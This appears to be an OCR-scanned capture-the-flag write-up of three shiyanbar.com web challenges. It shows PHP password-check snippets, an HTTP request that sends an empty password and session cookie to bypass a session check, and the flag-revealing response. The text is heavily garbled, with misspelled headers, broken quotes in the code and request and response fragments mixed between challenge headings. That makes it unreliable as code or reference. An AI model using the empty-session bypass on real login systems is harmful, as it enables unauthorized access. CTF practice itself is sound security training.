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1.0nce More (http://www.shiyanbar.com/ctf/1805)

M di—view the source code

KEERY

else if (strlen(_GET['password") < 8 &&_GET['password’] > 9999999)

{

if (strpos ($_GET['password’], ‘) == FALSE)

{

die(‘Flag:’ . $flag);

}
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2.Guess Next Session(http://www.shiyanbar.com/ctf/1788)
M di—view the source code

if (
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Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | HTML | Render

GET /web/3ession.php?password= HTTP/L.1

Host: ctfS.shiyanbar.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:52.0) Gecke/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Languags: zh-CH, zh;g=0.8,en-US;q=0.5,n; q=0.3

Accept-Enceding: gzip, deflats

Beferer: htup://cctfS.shivanbar.com/web/Ssssion. phplpassword=2

Cookie: sample-hash=571580b26cE5E306376d41E4e53ch5eT; source=0;
Hm_lvt_34dE£7353ab0915a4c582e4516dEfhe3=1489840279, 1489887801, 1489928232, 1489964877 ;
Hm_cv_34d6£7353ab0915a4c582e4516dffhe3=1"visitor*72357%2Cnicklame%3A%E75BAS A2%EE%OF B3 sE55BOSBF3ETS99%ED;
Hm_1pvt_34d6£7353ab09 15a4c58224516dffbe3=1489965655; PHPSESSID=

Connection: close

Upgrads-Insecure-Requescs: 1

3.FALSE (http://www.shiyanbar.com/ctf/1787)
M di—view the source code

T

HTTP/ 1.1 200 OK

Date: Sun, 19 Mar 2017 23:24:29 GMT

Server: Apache/2.4.18 (Win32) OpenSSL/1.0.Ze PHP/5.2.17
¥-Power=d-By: PHF/5.2.17

Set-Cookie: PHPSESSID=4S0606d0cI03abeaslScodf4E5hard434; path=/
Expires: Thu, 19 Nov 1981 0B8:52:00 GHMT

Cache-Control: mo-stors, no-cachs, must-revalidate, post-check=0,

Pragma: no-cache
Content-Length: 112
Connection: close
Content-Type: text/html

<html>
<head>
<title>Guess Next Session</tritle>
</head>
<body><br/>
<centsr>
Flag: CTF{Cl3ar_th3_S3sslon}

pre-check=0
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